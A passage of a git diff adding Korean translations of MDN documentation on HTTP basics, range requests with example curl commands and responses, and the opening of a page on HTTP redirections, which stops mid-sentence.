+ +<h2 id="HTTP_기반_시스템의_구성요소">HTTP 기반 시스템의 구성요소</h2> + +<p>HTTP는 클라이언트-서버 프로토콜입니다. 요청은 하나의 개체, 사용자 에이전트(또는 그것을 대신하는 프록시)에 의해 전송됩니다. 대부분의 경우, 사용자 에이전트는 브라우저지만, 무엇이든 될 수 있습니다. 예를 들어, 검색 엔진 인덱스를 채워넣고 유지하기 위해 웹을 돌아다니는 로봇이 그러한 경우입니다.</p> + +<p>각각의 개별적인 요청들은 서버로 보내지며, 서버는 요청을 처리하고 <em>response</em>라고 불리는 응답을 제공합니다. 이 요청과 응답 사이에는 여러 개체들이 있는데, 예를 들면 다양한 작업을 수행하는 게이트웨이 또는 {{glossary("Cache", "캐시")}} 역할을 하는 {{glossary("Proxy", "프록시")}} 등이 있습니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png" style="height: 121px; width: 819px;"></p> + +<p>실제로는 브라우저와 요청을 처리하는 서버 사이에는 좀 더 많은 컴퓨터들이 존재합니다: 라우터, 모뎀 등이 있죠. 웹의 계층적인 설계 덕분에, 이들은 네트워크와 전송 계층 내로 숨겨집니다. HTTP은 애플리케이션 계층의 최상위에 있습니다. 네트워크 문제를 진단하는 것도 중요하지만, 기본 레이어들은 HTTP의 명세와는 거의 관련이 없습니다.</p> + +<h3 id="클라이언트_사용자_에이전트">클라이언트: 사용자 에이전트</h3> + +<p>사용자 에이전트는 사용자를 대신하여 동작하는 모든 도구입니다. 이 역할은 주로 브라우저에 의해 수행됩니다; 엔지니어들과 자신들의 애플리케이션을 디버그하는 웹 개발자들이 사용하는 프로그램들은 예외입니다.</p> + +<p>브라우저는 <strong>항상</strong> 요청을 보내는 개체입니다. 그것은 결코 서버가 될 수 없습니다(수년에 걸쳐 서버 초기화된 메시지를 시뮬레이션하기 위해 몇 가지 메커니즘이 추가되어 왔지만).</p> + +<p>웹 페이지를 표시하기 위해, 브라우저는 페이지의 HTML 문서를 가져오기 위한 요청을 전송한 뒤, 파일을 구문 분석하여 실행해야 할 스크립트 그리고 페이지 내 포함된 하위 리소스들(보통 이미지와 비디오)을 잘 표시하기 위한 레이아웃 정보(CSS)에 대응하는 추가적인 요청들을 가져옵니다. 그런 뒤에 브라우저는 완전한 문서인 웹 페이지를 표시하기 위해 그런 리소스들을 혼합합니다. 브라우저에 의해 실행된 스크립트는 이후 단계에서 좀 더 많은 리소스들을 가져올 수 있으며 브라우저는 그에 따라 웹 페이지를 갱신하게 됩니다.</p> + +<p>웹 페이지는 하이퍼텍스트 문서로, 표시된 텍스트의 일부는 사용자가 사용자 에이전트를 제어하고 웹을 돌아다닐 수 있도록 새로운 웹 페이지를 가져오기 위해 실행(보통 마우스 클릭에 의해)될 수 있는 링크임을 뜻합니다. 브라우저는 HTTP 요청 내에서 이런 지시 사항들을 변환하고 HTTP 응답을 해석하여 사용자에게 명확한 응답을 표시합니다.</p> + +<h3 id="웹_서버">웹 서버</h3> + +<p>통신 채널의 반대편에는 클라이언트에 의한 요청에 대한 문서를 <em>제공</em>하는 서버가 존재합니다. 서버는 사실 상 논리적으로 단일 기계입니다.이는 로드(로드 밸런싱) 혹은 그때 그때 다른 컴퓨터(캐시, DB 서버, e-커머스 서버 등과 같은)들의 정보를 얻고 완전하게 혹은 부분적으로 문서를 생성하는 소프트웨어의 복잡한 부분을 공유하는 서버들의 집합일 수도 있기 때문입니다.</p> + +<p>서버는 반드시 단일 머신일 필요는 없지만, 여러 개의 서버를 동일한 머신 위에서 호스팅 할 수는 있습니다. HTTP/1.1과 {{HTTPHeader("Host")}} 헤더를 이용하여, 동일한 IP 주소를 공유할 수도 있습니다.</p> + +<h3 id="프록시">프록시</h3> + +<p>웹 브라우저와 서버 사이에서는 수많은 컴퓨터와 머신이 HTTP 메시지를 이어 받고 전달합니다. 여러 계층으로 이루어진 웹 스택 구조에서 이러한 컴퓨터/머신들은 대부분은 전송, 네트워크 혹은 물리 계층에서 동작하며, 성능에 상당히 큰 영향을 주지만 HTTP 계층에서는 이들이 어떻게 동작하는지 눈에 보이지 않습니다. 이러한 컴퓨터/머신 중에서도 애플리케이션 계층에서 동작하는 것들을 일반적으로 <strong>프록시</strong>라고 부릅니다. 프록시는 눈에 보이거나 그렇지 않을 수도 있으며(프록시를 통해 요청이 변경되거나 변경되지 않는 경우를 말함) 다양한 기능들을 수행할 수 있습니다:</p> + +<ul> + <li>캐싱 (캐시는 공개 또는 비공개가 될 수 있습니다 (예: 브라우저 캐시))</li> + <li>필터링 (바이러스 백신 스캔, 유해 컨텐츠 차단(자녀 보호) 기능)</li> + <li>로드 밸런싱 (여러 서버들이 서로 다른 요청을 처리하도록 허용)</li> + <li>인증 (다양한 리소스에 대한 접근 제어)</li> + <li>로깅 (이력 정보를 저장)</li> +</ul> + +<h2 id="HTTP의_기초적인_측면">HTTP의 기초적인 측면</h2> + +<h3 id="HTTP은_간단합니다">HTTP은 간단합니다</h3> + +<p>HTTP는 사람이 읽을 수 있으며 간단하게 고안되었습니다. 심지어 HTTP/2가 다소 더 복잡해졌지만 여전히 HTTP 메세지를 프레임별로 캡슐화하여 간결함을 유지하였습니다. HTTP 메시지들은 사람이 읽고 이해할 수 있어, 테스트하기 쉽고 초심자의 진입장벽을 낮췄습니다.</p> + +<h3 id="HTTP은_확장_가능합니다">HTTP은 확장 가능합니다</h3> + +<p>HTTP/1.0에서 소개된, <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 HTTP를 확장하고 실험하기 쉽게 만들어주었습니다. 클라이언트와 서버가 새로운 헤더의 시맨틱에 대해 간단한 합의만 한다면, 언제든지 새로운 기능을 추가할 수 있습니다.</p> + +<h3 id="HTTP은_상태가_없지만_세션은_있습니다">HTTP은 상태가 없지만, 세션은 있습니다</h3> + +<p>HTTP는 상태를 저장하지 않습니다(Stateless). 동일한 연결 상에서 연속하여 전달된 두 개의 요청 사이에는 연결고리가 없습니다. 이는 e-커머스 쇼핑 바구니처럼, 일관된 방식으로 사용자가 페이지와 상호작용하길 원할 때 문제가 됩니다. 하지만, HTTP의 핵심은 상태가 없는 것이지만 HTTP 쿠키는 상태가 있는 세션을 만들도록 해줍니다.<br> + 헤더 확장성을 사용하여, 동일한 컨텍스트 또는 동일한 상태를 공유하기 위해 각각의 요청들에 세션을 만들도록 HTTP 쿠키가 추가됩니다.</p> + +<h3 id="HTTP와_연결">HTTP와 연결</h3> + +<p>연결은 전송 계층에서 제어되므로 근본적으로 HTTP 영역 밖입니다. HTTP는 연결될 수 있도록 하는 근본적인 전송 프로토콜을 요구하지 않습니다; 다만 그저 신뢰할 수 있거나 메시지 손실이 없는(최소한의 오류는 표시) 연결을 요구할 뿐입니다. 인터넷 상의 가장 일반적인 두 개의 전송 프로토콜 중에서 TCP는 신뢰할 수 있으며 UDP는 그렇지 않습니다. 그러므로 HTTP는 연결이 필수는 아니지만 연결 기반인 TCP 표준에 의존합니다.</p> + +<p>클라이언트와 서버가 HTTP를 요청/응답으로 교환하기 전에 여러 왕복이 필요한 프로세스인 TCP 연결을 설정해야 합니다. HTTP/1.0의 기본 동작은 각 요청/응답에 대해 별도의 TCP 연결을 여는 것입니다. 이 동작은 여러 요청을 연속해서 보내는 경우에는 단일 TCP 연결을 공유하는 것보다 효율적이지 못합니다.</p> + +<p>이러한 결함을 개선하기 위해, HTTP/1.1은 (구현하기 어렵다고 입증된) 파이프라이닝 개념과 지속적인 연결의 개념을 도입했습니다: 기본적인 TCP 연결은 {{HTTPHeader("Connection")}} 헤더를 사용해 부분적으로 제어할 수 있습니다. HTTP/2는 연결을 좀 더 지속되고 효율적으로 유지하는데 도움이 되도록, 단일 연결 상에서 메시지를 다중 전송(multiplex)하여 한 걸음 더 나아갔습니다.</p> + +<p>HTTP에 더 알맞은 좀 더 나은 전송 프로토콜을 설계하는 실험이 진행 중에 있습니다. 예를 들어, 구글은 좀 더 신뢰성있고 효율적인 전송 프로토콜을 제공하기 위해 UDP기반의 <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>를 실험 중에 있습니다.</p> + +<h2 id="HTTP로_제어할_수_있는_것">HTTP로 제어할 수 있는 것</h2> + +<p>HTTP의 확장 가능한 특성은 수년 간에 걸쳐 웹의 점점 더 많은 기능들을 제어하도록 허용되어 왔습니다. 캐시 혹은 인증 메서드는 HTTP에 초기부터 제어해왔던 기능이며, 반면에 <code>origin</code> <em>제약사항</em>을 완화시키는 조치는 2010년에 들어서 추가되었습니다.</p> + +<p>다음은 HTTP 사용하여 제어 가능한 일반적인 기능 목록입니다.</p> + +<ul> + <li><a href="/ko/docs/Web/HTTP/Caching">캐시</a><br> + HTTP로 문서가 캐시되는 방식을 제어할 수 있습니다. 서버는 캐시 대상과 기간을 프록시와 클라이언트에 지시할 수 있고 클라이언트는 저장된 문서를 무시하라고 중간 캐시 프록시에게 지시할 수 있습니다.</li> + <li><em>origin 제약사항을 완화하기</em><br> + 스누핑과 다른 프라이버시 침해를 막기 위해, 브라우저는 웹 사이트 간의 엄격한 분리를 강제합니다. <strong>동일한 origin</strong>으로부터 온 페이지만이 웹 페이지의 전체 정보에 접근할 수 있죠. 그런 제약 사항은 서버에 부담이 되지만, HTTP 헤더를 통해 그것을 완화시킬 수 있습니다. 그런 덕분에 문서는 다른 도메인으로부터 전달된 정보를 패치워크할 수 있습니다(그렇게 하려면 어떤 경우에 보안과 관련된 사항이 있을 수도 있습니다).</li> + <li><em>인증</em><br> + 어떤 페이지들은 보호되어 오로지 특정 사용자만이 그것에 접근할 수도 있습니다. 기본 인증은 HTTP를 통해 {{HTTPHeader("WWW-Authenticate")}} 또는 유사한 헤더를 사용해 제공되거나, <a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a>를 사용해 특정 세션을 설정하여 이루어질 수도 있습니다.</li> + <li><a href="/ko/docs/Web/HTTP/Proxy_servers_and_tunneling">프록시와 터널링</a><br> + 서버 혹은 클라이언트 혹은 그 둘 모두는 종종 인트라넷에 위치하며 다른 개체들에게 그들의 실제 주소를 숨기기도 합니다. HTTP 요청은 네트워크 장벽을 가로지르기 위해 프록시를 통해 나가게 되죠. 모든 프록시가 HTTP 프록시는 아닙니다. 예를 들면 SOCKS 프로토콜은 좀 더 저수준에서 동작합니다. FTP와 같은 다른 프로토콜도 이 프록시를 통해 처리될 수 있습니다.</li> + <li><em>세션</em><br> + 쿠키 사용은 서버 상태를 요청과 연결하도록 해줍니다. 이것은 HTTP가 기본적으로 상태없는 프로토콜임에도 세션을 만들어주는 계기가 됩니다. 이것은 e-커머스 쇼핑 바구니를 위해서 유용할 뿐만 아니라 사용자 구성을 허용하는 모든 사이트에 대해서 유용합니다.</li> +</ul> + +<h2 id="HTTP_흐름">HTTP 흐름</h2> + +<p>클라이언트가 서버와 통신하고자 할 때, 최종 서버가 됐든 중간 프록시가 됐든, 다음 단계의 과정을 수행합니다:</p> + +<ol> + <li>TCP 연결을 엽니다:TCP 연결은 요청을 보내거나(혹은 여러개의 요청) 응답을 받는데 사용됩니다. 클라이언트는 새 연결을 열거나, 기존 연결을 재사용하거나, 서버에 대한 여러 TCP 연결을 열 수 있습니다.</li> + <li>HTTP 메시지를 전송합니다: HTTP 메시지(HTTP/2 이전의)는 인간이 읽을 수 있습니다. HTTP/2에서는 이런 간단한 메시지가 프레임 속으로 캡슐화되어, 직접 읽는게 불가능하지만 원칙은 동일합니다. + <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr</code></pre> + </li> + <li>서버에 의해 전송된 응답을 읽어들입니다: + <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre> + </li> + <li>연결을 닫거나 다른 요청들을 위해 재사용합니다.</li> +</ol> + +<p>HTTP 파이프라이닝이 활성화되면, 첫번째 응답을 완전히 수신할 때까지 기다리지 않고 여러 요청을 보낼 수 있습니다. HTTP 파이프라이닝은 오래된 소프트웨어와 최신 버전이 공존하고 있는, 기존의 네트워크 상에서 구현하기 어렵다는게 입증되었으며, 프레임안에서 보다 활발한 다중 요청을 보내는 HTTP/2로 교체되고 있습니다.</p> + +<h2 id="HTTP_메시지">HTTP 메시지</h2> + +<p>HTTP/1.1와 초기 HTTP 메시지는 사람이 읽을 수 있습니다. HTTP/2에서, 이 메시지들은 새로운 이진 구조인 프레임 안으로 임베드되어, 헤더의 압축과 다중화와 같은 최적화를 가능케 합니다. 본래의 HTTP 메시지의 일부분만이 이 버전의 HTTP 내에서 전송된다고 할지라도, 각 메시지의 의미들은 변화하지 않으며 클라이언트는 본래의 HTTP/1.1 요청을 (가상으로) 재구성합니다. 그러므로 HTTP/1.1 포맷 내에서 HTTP/2를 이해하는 것은 여전히 유용합니다.</p> + +<p>HTTP 메시지의 두 가지 타입인 요청(requests)과 응답(responses)은 각자의 특성있는 형식을 가지고 있습니다.</p> + +<h3 id="요청">요청</h3> + +<p>HTTP 요청의 예:</p> + +<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p> + +<p>요청은 다음의 요소들로 구성됩니다:</p> + +<ul> + <li>HTTP <a href="/ko/docs/Web/HTTP/Methods">메서드</a>, 보통 클라이언트가 수행하고자 하는 동작을 정의한 {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 같은 동사나 {{HTTPMethod("OPTIONS")}}나 {{HTTPMethod("HEAD")}}와 같은 명사입니다. 일반적으로, 클라이언트는 리소스를 가져오거나(<code>GET</code>을 사용하여) <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 폼</a>의 데이터를 전송(<code>POST</code>를 사용하여)하려고 하지만, 다른 경우에는 다른 동작이 요구될 수도 있습니다.</li> + <li>가져오려는 리소스의 경로; 예를 들면 {{glossary("protocol", "프로토콜")}} (<code>http://</code>), {{glossary("domain", "도메인")}} (여기서는 <code>developer.mozilla.org</code>), 또는 TCP {{glossary("port", "포트")}} (여기서는 <code>80</code>)인 요소들을 제거한 리소스의 URL입니다.</li> + <li>HTTP 프로토콜의 버전.</li> + <li>서버에 대한 추가 정보를 전달하는 선택적 <a href="/en-US/docs/Web/HTTP/Headers">헤더들</a>.</li> + <li><code>POST</code>와 같은 몇 가지 메서드를 위한, 전송된 리소스를 포함하는 응답의 본문과 유사한 본문.</li> +</ul> + +<h3 id="응답">응답</h3> + +<p>응답의 예:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p> + +<p>응답은 다음의 요소들로 구성됩니다:</p> + +<ul> + <li>HTTP 프로토콜의 버전.</li> + <li>요청의 성공 여부와, 그 이유를 나타내는 <a href="/en-US/docs/Web/HTTP/Status">상태 코드</a>.</li> + <li>아무런 영향력이 없는, 상태 코드의 짧은 설명을 나타내는 상태 메시지.</li> + <li>요청 헤더와 비슷한, HTTP <a href="/en-US/docs/Web/HTTP/Headers">헤더들</a>.</li> + <li>선택 사항으로, 가져온 리소스가 포함되는 본문.</li> +</ul> + +<h2 id="HTTP_기반_API">HTTP 기반 API</h2> + +<p>HTTP 기반으로 가장 일반적으로 사용된 API는 {{Glossary("user agent")}}와 서버간에 데이터를 교환하는데 사용될 수 있는 {{domxref("XMLHttpRequest")}} API 입니다. 최신 {{domxref("Fetch API")}}는 보다 강력하고 유연한 기능을 제공합니다.</p> + +<p>또 다른 API인 <a href="/ko/docs/Web/API/Server-sent_events">서버-전송 이벤트</a>는 서버가 전송 메커니즘으로 HTTP를 사용하여, 클라이언트로 이벤트를 보낼 수 있도록 하는 단방향 서비스입니다. 클라이언트는 {{domxref("EventSource")}} 인터페이스를 사용하여, 연결을 맺고 이벤트 핸들러를 설정합니다. 클라이언트 브라우저는 HTTP 스트림으로 도착한 메시지를 적절한 {{domxref("Event")}} 객체로 자동 변환하여, 알려진 경우 해당 이벤트 {{domxref("Event.type", "type")}}에 대해 등록된 이벤트 핸들러로 전달하거나 또는 특정 유형의 이벤트가 설정되지 않은 경우에는 {{domxref("EventSource.onmessage", "onmessage")}} 이벤트 핸들러로 전달합니다.</p> + +<h2 id="결론">결론</h2> + +<p>HTTP는 사용이 쉬운 확장 가능한 프로토콜입니다. 헤더를 쉽게 추가하는 능력을 지닌 클라이언트-서버 구조는 HTTP가 웹의 확장된 수용력과 함께 발전할 수 있게 합니다.</p> + +<p>HTTP/2가 성능 향상을 위해 HTTP 메시지를 프레임 내로 임베드하여 약간의 복잡함을 더했을지라도, 애플리케이션의 관점에서 볼 때, 메시지의 기본적인 구조는 HTTP/1.0이 릴리즈된 이후와 동일합니다. 세션의 흐름은 여전히 단순하여, 간단한 <a href="/ko/docs/Tools/Network_Monitor">HTTP 메시지 모니터</a>를 이용한 조사와 디버그를 가능하게 해줍니다.</p> diff --git a/files/ko/web/http/range_requests/index.html b/files/ko/web/http/range_requests/index.html new file mode 100644 index 0000000000..23ef679b81 --- /dev/null +++ b/files/ko/web/http/range_requests/index.html @@ -0,0 +1,119 @@ +--- +title: HTTP range requests +slug: Web/HTTP/Range_requests +tags: + - HTTP + - HTTP 범위 요청 + - 가이드 +translation_of: Web/HTTP/Range_requests +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP 범위 요청은 HTTP의 일정 부분만 서버에서 클라이언트로 보내도록 허락하는 것입니다. 부분 요청은 예를들어 대형 미디어나 파일 다운로드 도중 일시정지와 다시 시작 기능에 유용합니다.</p> + +<h2 id="서버가_부분_요청을_지원하는지_확인">서버가 부분 요청을 지원하는지 확인</h2> + +<p>서버가 range 요청을 지원한다면, HTTP 응답에 {{HTTPHeader("Accept-Ranges")}}이 존재(그리고 그 값이 "<code>none</code>"이 아님)할 것입니다. 이는 예를들면 {{HTTPMethod("HEAD")}} 를 cURL에서 요청함으로 확인할 수 있습니다.</p> + +<pre>curl -I http://i.imgur.com/z4d4kWk.jpg + +HTTP/1.1 200 OK +... +Accept-Ranges: bytes +Content-Length: 146515 +</pre> + +<p>이 응답에서, <code>Accept-Ranges: bytes</code>는 바이트가 범위 요청에서 최소단위로 사용될 수 있음을 알려줍니다. 여기에서 {{HTTPHeader("Content-Length")}} 헤더 역시 이미지를 얻기 위한 최대 크기를 알 수 있어 유용합니다.</p> + +<p>만약 사이트에서 <code>Accept-Ranges</code>헤더를 빠트린다면, 분할 요청을 지원하지 않는 것으로 생각됩니다. 일부 사이트는 명확하게 "<code>none</code>"을 값으로 보내 지원하지 않는 것을 알려줍니다. 일부 어플리케이션에서는 다운로드 매니저에서 일시정지 버튼을 없애버리는 경우가 있습니다.</p> + +<pre>curl -I https://www.youtube.com/watch?v=EwTZ2xpQwpA + +HTTP/1.1 200 OK +... +Accept-Ranges: none +</pre> + +<h2 id="서버에_특정_범위를_요청">서버에 특정 범위를 요청</h2> + +<p>만약 서버가 범위 요청을 지원한다면, {{HTTPHeader("Range")}} 헤더를 사용하여 요청할 수 있습니다. 이는 서버에서 문서의 일부분만 돌려주면 된다는 것을 알 수 있게 해줍니다.</p> + +<h3 id="단일_부분_범위">단일 부분 범위</h3> + +<p>우리는 리소스의 단일 부분에 대해서만 요청할 수 있습니다. 역시 cURL을 사용하여 테스트 합니다. "<code>-H</code>"는 HTTP요청의 헤더에 추가된다는 옵션이며, 이 경우에는 <code>Range</code>헤더로 첫 1024 바이트를 요청합니다.</p> + +<pre>curl http://i.imgur.com/z4d4kWk.jpg -i -H "Range: bytes=0-1023"</pre> + +<p>요청은 다음처럼 보여집니다:</p> + +<pre>GET /z4d4kWk.jpg HTTP/1.1 +Host: i.imgur.com +Range: bytes=0-1023</pre> + +<p>서버에서 {{HTTPStatus("206")}} <code>Partial Content</code> 상태로 응답합니다:</p> + +<pre>HTTP/1.1 206 Partial Content +Content-Range: bytes 0-1023/146515 +Content-Length: 1024 +... +(binary content) +</pre> + +<p>{{HTTPHeader("Content-Length")}} 헤더는 이제 요청한 범위의 크기(전체 이미지의 크기가 아님)를 알려줍니다. {{HTTPHeader("Content-Range")}} 헤더는 리소스의 전체 크기와 메시지가 어느 부분에 속하는지 알려줍니다.</p> + +<h3 id="다중_부분_범위">다중 부분 범위</h3> + +<p>{{HTTPHeader("Range")}} 헤더는 문서의 여러 부분 역시 다중 범위 요청을 통해 한번에 가져올 수 있습니다. 범위는 콤마로 나누어집니다.</p> + +<pre>curl http://www.example.com -i -H "Range: bytes=0-50, 100-150"</pre> + +<p>서버는 {{HTTPStatus("206")}} <code>Partial Content</code> 상태로 응답하며 {{HTTPHeader("Content-Type")}}<code>: multipart/byteranges; boundary=3d6b6a416f9b5</code> 는 다중 부분 바이트 범위를 알려줍니다. 각 부분은 고유의 <code>Content-Type</code>과 <code>Content-Range</code> 영역을 가지고 있으며, 경계를 나누는 문자열인 경계 파라미터를 필요로 합니다.</p> + +<pre>HTTP/1.1 206 Partial Content +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 282 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 0-50/1270 + +<!doctype html> +<html> +<head> + <title>Example Do +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-150/1270 + +eta http-equiv="Content-type" content="text/html; c +--3d6b6a416f9b5--</pre> + +<h3 id="조건_분할_요청">조건 분할 요청</h3> + +<p>리소스에 대해 추가 요청을 재개하기에 앞서, 마지막에 분할된 데이터를 받은 이후 저장된 리소스가 수정되지는 않았는지 확인해야 합니다.</p> + +<p>{{HTTPHeader("If-Range")}} HTTP 요청 헤더는 범위 요청에 조건을 만듭니다: 만약 조건이 만족하면, 분할 요청은 서버에서 처리되어 {{HTTPStatus("206")}} <code>Partial Content</code> 응답과 함께 적절한 바디와 돌아올겁니다. 만약 조건이 만족하지 못한다면, 전체 리소스가 {{HTTPStatus("200")}} <code>OK</code> 상태로 보내집니다. 이 헤더는 {{HTTPHeader("Last-Modified")}} 확인자나 {{HTTPHeader("ETag")}}와 함께 사용될 수 있지만, 동시에는 안됩니다.</p> + +<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT </pre> + +<h2 id="분할_요청_응답">분할 요청 응답</h2> + +<p>범위 요청을 처리할 때, 다음의 3가지 상태가 있습니다:</p> + +<ul> + <li>성공적으로 보내질 경우에는, {{HTTPStatus("206")}} <code>Partial Content</code> 상태가 서버에서 돌아옵니다.</li> + <li>범위를 벗어난 경우(범위 값이 리소스 크기를 벗어났을 때), 서버는 {{HTTPStatus("416")}} <code>Requested Range Not Satisfiable</code> 상태로 답합니다.</li> + <li>범위 요청을 지원하지 않는 경우, 서버는 {{HTTPStatus("200")}} <code>OK</code> 상태를 돌려보냅니다.</li> +</ul> + +<h2 id="Chunked_Transfer-Encoding과_비교"><code>Chunked Transfer-Encoding</code>과 비교</h2> + +<p>{{HTTPHeader("Transfer-Encoding")}} 헤더는 <code>chunked encoding</code> 또한 지원하며, 이는 대용량 데이터를 클라이언트에 보낼 때와 요청이 모두 처리되기 전까지 총 크기를 알 수 없을 때 유용합니다. 서버는 데이터를 클라이언트에 응답 버퍼링 없이 즉시 보내거나, 정확한 길이를 측정하여 지연 시간을 향상시킵니다. 범위 요청과 청크는 호환되어 함께 사용할 수도 있고, 따로 사용할 수 있습니다.</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>연관된 상태 코드 {{HTTPStatus("200")}}, {{HTTPStatus("206")}}, {{HTTPStatus("416")}}.</li> + <li>연관된 헤더: {{HTTPHeader("Accept-Ranges")}}, {{HTTPHeader("Range")}}, {{HTTPHeader("Content-Range")}}, {{HTTPHeader("If-Range")}}, {{HTTPHeader("Transfer-Encoding")}}.</li> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/06/03/download-resumption-in-internet-explorer/">Download resumption in Internet Explorer</a></li> +</ul> diff --git a/files/ko/web/http/redirections/index.html b/files/ko/web/http/redirections/index.html new file mode 100644 index 0000000000..86d37e976a --- /dev/null +++ b/files/ko/web/http/redirections/index.html @@ -0,0 +1,256 @@ +--- +title: Redirections in HTTP +slug: Web/HTTP/Redirections +translation_of: Web/HTTP/Redirections +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">URL 리다이렉션 혹은 URL 포워딩은 페이지 따위의 실제 리소스, 폼 혹은 전체 웹 애플리케이션이 다른 URL에 위치하고 있는 상태에서 링크를 존속시키는 기술입니다. HTTP는 많은 목표를 위해 사용되는 이런 동작을 수행하기 위해 특별한 종류의 응답인 <em>HTTP 리다이렉트</em>를 제공합니다: 사이트 유지관리가 진행 중인 상태에서의 일시적인 리다이렉션, 사이트 아키텍쳐의 변경 이후에도 외부 링크를 동작하는 상태로 유지시키기 위한 영구적인 리다이렉션, 파일 업로드 시 진행 상태 페이지 그리고 그 외의 수많은 리다이렉션들 ...</p> + +<h2 id="원칙">원칙</h2> + +<p>HTTP에서, 리다이렉션은 요청에 대해 특별한 응답(<em>리다이렉트</em>)을 전송함으로써 촉발됩니다. HTTP 리다이렉트는 <code>3xx</code> 상태 코드를 지닌 응답입니다. 리다이렉트 응답을 수신한 브라우저는, 제공된 새로운 URL을 사용하며 그것을 즉시 로드합니다: 대부분의 경우, 리다이렉션은 사용자에게는 보이지 않는데다가, 적은 성능 저하를 일으킵니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p> + +<p>리다이렉트에는 몇 가지 유형이 있으며 세 가지 카테고리로 나누어집니다: 영속적, 일시적 그리고 특수 리다이렉션.</p> + +<h3 id="영속적인_리다이렉션">영속적인 리다이렉션</h3> + +<p>이 리다이렉션은 영원히 지속됨을 의미합니다. 원래의 URL이 더 이상 사용되지 않아야 하며 새로운 URL을 더 선호해야 함을 시사합니다. 검색 엔진 로봇은 그들의 인덱스 내에서 리소스에 대한 연관 URL의 갱신을 촉발시킵니다.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">코드</th> + <th scope="col">텍스트</th> + <th scope="col">메서드 핸들링</th> + <th scope="col">일반적인 유스케이스</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>301</code></td> + <td><code>Moved Permanently</code></td> + <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br> + 다른 메서드들은 {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.<sup><a href="#attr1">[1]</a></sup></td> + <td>웹 사이트의 재편성.</td> + </tr> + <tr> + <td><code>308</code></td> + <td><code>Permanent Redirect</code></td> + <td>메서드와 본문은 변하지 않습니다.</td> + <td>GET이 아닌 링크/동작을 지닌, 웹 사이트의 재편성.</td> + </tr> + </tbody> +</table> + +<p><a id="attr1" name="attr1"></a>[1] 명세는 메서드 변경을 허용할 의도가 없으나, 사실 상 사용자 에이전트들이 그렇게 하고 있습니다. <code>308</code> 은 <code>GET</code>이 아닌 메서드를 사용할 때 동작의 애매모호함을 제거하고자 만들어졌습니다.</p> + +<h3 id="일시적인_리다이렉션">일시적인 리다이렉션</h3> + +<p>때때로 요청된 리소스는 그것의 표준 위치에서 접근할 수 없고 다른 위치에서 접근 가능한 경우가 있습니다. 이런 경우 일시적인 리다이렉트가 사용될 수 있습니다. 검색 엔진 로봇은 새로운, 일시적인 링크를 기억하지 못합니다. 일시적인 리다이렉션은 일시적인 진행율 페이지를 표시하고자 리소스를 만들고 갱신하며 삭제할 때 사용될 수 도 있습니다.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">코드</th> + <th scope="col">텍스트</th> + <th scope="col">메서드 핸들링</th> + <th scope="col">일반적인 유스 케이스</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>302</code></td> + <td><code>Found</code></td> + <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br> + 다른 메서드들은 {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.<sup><a href="#attr2">[2]</a></sup></td> + <td>웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다.</td> + </tr> + <tr> + <td><code>303</code></td> + <td><code>See Other</code></td> + <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br> + 다른 메서들은 <code>GET</code> 메서드로 <em>변경됩니다</em>(본문을 잃게 됩니다).</td> + <td>동작을 다시 촉발시키는 페이지 리프레시를 막기 위해 {{HTTPMethod("PUT")}} 혹은 {{HTTPMethod("POST")}} 뒤에 사용됩니다.</td> + </tr> + <tr> + <td><code>307</code></td> + <td><code>Temporary Redirect</code></td> + <td>메서드와 본문은 변경되지 않습니다.</td> + <td>웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다. GET이 아닌 링크/동작이 사이트에서 이용 가능할 때 <code>302</code>보다 더 좋습니다.</td> + </tr> + </tbody> +</table> + +<p><a id="attr2" name="attr2"></a>[2] 명세에는 메서드 변경을 허용할 의도가 없으나, 실질적으로 사용자 에이전트들이 그렇게 하고 있습니다. <code>307</code> 은 <code>GET</code>이 아닌 메서드들을 사용하는 경우 동작의 애매모호함을 제거하기 위해 만들어집니다.</p> + +<h3 id="특수_리다이렉션">특수 리다이렉션</h3> + +<p>이런 보통 리다이렉션과 더불어, 특별한 두 가지 리다이렉션이 더 있습니다. {{HTTPStatus("304")}} (수정되지 않음)은 (오랜된)로컬에 캐시된 복사본으로 페이지를 리다이렉트시키며, 